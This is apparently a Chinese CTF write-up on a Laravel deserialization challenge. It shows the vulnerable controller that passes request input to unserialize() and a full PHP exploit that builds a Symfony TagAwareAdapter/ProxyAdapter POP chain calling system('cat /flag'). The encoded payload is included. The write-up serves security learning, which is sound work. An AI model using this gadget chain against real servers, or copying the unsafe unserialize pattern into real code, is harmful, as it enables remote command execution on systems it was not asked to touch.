考点

laravel 框架反序列化审计

题解

打开题目就能看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//backup in source.tar.gz

namespace App\Http\Controllers;


class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}

提示源码在source.tar.gz中,直接下载下来。之前因为专门学习过laravel框架中存在的反序列化漏洞,分析过四五条POP链,绝大多数的入口都是Illuminate\Broadcasting\PendingBroadcast类的__destruct()方法,但是在该源码中,里面的dispatch()方法被注释掉了,所以该入口的就不可利用了。

1

但好在这个版本安装了symfony组件,在该组件的Symfony\Component\Cache\Adapter\TagAwareAdapter__destruct()方法中还有一个入口。

2

因为之前已经分析过这个漏洞了,所以这里直接给出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
namespace Symfony\Component\Cache\Adapter {
class TagAwareAdapter {
private $deferred;
private $pool;

public function __construct($deferred, $pool) {
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}


namespace Symfony\Component\Cache\Adapter {
class ProxyAdapter {
private $setInnerItem;
private $poolHash;

public function __construct($func, $poolHash) {
$this->setInnerItem = $func;
$this->poolHash = $poolHash;
}
}
}

namespace Symfony\Component\Cache {
class CacheItem {
protected $expiry;
protected $innerItem;
protected $poolHash;

public function __construct($expiry, $param, $poolHash)
{
$this->expiry = $expiry;
$this->innerItem = $param;
$this->poolHash = $poolHash;
}
}
}

namespace {
// find the flag first
// $cacheItem = new Symfony\Component\Cache\CacheItem(1, 'ls / -al', 1);
$cacheItem = new Symfony\Component\Cache\CacheItem(1, 'cat /flag', 1);
$proxyAdapter = new Symfony\Component\Cache\Adapter\ProxyAdapter('system', 1);
$tagAwareAdapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheItem), $proxyAdapter);

echo urlencode(serialize($tagAwareAdapter));
}

得到

1
2
?payload=
O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00expiry%22%3Bi%3A1%3Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A9%3A%22cat+%2Fflag%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bi%3A1%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bi%3A1%3B%7D%7D

获得flag文件:

3

执行命令读取flag:

4

整个调用过程就是:

10